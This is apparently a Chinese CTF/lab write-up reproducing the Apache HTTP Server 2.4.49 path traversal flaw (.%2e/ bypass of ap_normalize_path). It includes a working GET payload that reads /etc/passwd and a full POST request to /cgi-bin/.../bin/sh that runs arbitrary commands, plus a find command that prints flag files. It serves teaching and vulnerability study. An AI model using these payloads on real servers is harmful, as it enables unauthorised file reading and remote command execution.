学习目标

  1. 基本了解本漏洞的原理并完成运用
  2. 用 find 方法解决嵌套 flag 问题

漏洞描述

漏洞特点:能扫到 cgi

在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时,其使用的 ap_normalize_path() 函数会对路径参数先进行 url 解码,然后判断是否存在 ../ 路径穿越符。

当检测到路径中存在 % 字符时,若其紧跟的两个字符是十六进制字符,则程序会对其进行 url 解码,将其转换成标准字符,如 %2e 会被转换为 . 。若转换后的标准字符为 . ,此时程序会立即判断其后两字符是否为 ./ ,从而判断是否存在未经允许的 ../ 路径穿越行为。

如果路径中存在 %2e./ 形式,程序就会检测到路径穿越符。然而,当出现 .%2e/ 或 %2e%2e/ 形式,程序就不会将其检测为路径穿越符

原因是遍历到第一个 . 字符时,程序检测到其后两字符为 %2 而不是 ./ ,就不会将其判断为 ../

因此,攻击者可以使用 .%2e/ 或 %2e%2e/ 绕过程序对路径穿越符的检测,从而读取位于 Apache 服务器 web 目录以外的其他文件,或者读取 web 目录中的脚本文件源码,或者在开启了 cgi 或 cgid 的服务器上执行任意命令。本质上,这一漏洞属于代码层面的逻辑漏洞。

漏洞复现

利用该漏洞进行任意文件读取

利用该漏洞,进行任意文件读取的方法比较简单,用 get 就能提交,不过还是要用 brup,直接网页访问没用

1
2
任意文件读取POC:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

利用该漏洞进行远程命令执行

在开启了 cgi 或 cgid 的服务器上,我们可以利用此漏洞进行 RCE

抓包修改一下请求头,POST 提交一定要注意好格式,请求体要空两行不是一行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 192.168.109.128:8080 --host这里你填啥都行,但必须要有
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "2d-432a5e4a73a80"
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
Connection: close
Content-Length: 11


echo;ls /

就能做到任意命令的执行了

结合我们在 thinkphp 复现中学的找 flag 的方式

1
find / -type f -name "flag" -exec cat {} \;

也能找到本题嵌套多层的 flag

稍微翻一下响应就能看到端倪之处了

你看到捣蛋鬼了吗?

本次 CVE 复现结束 🎆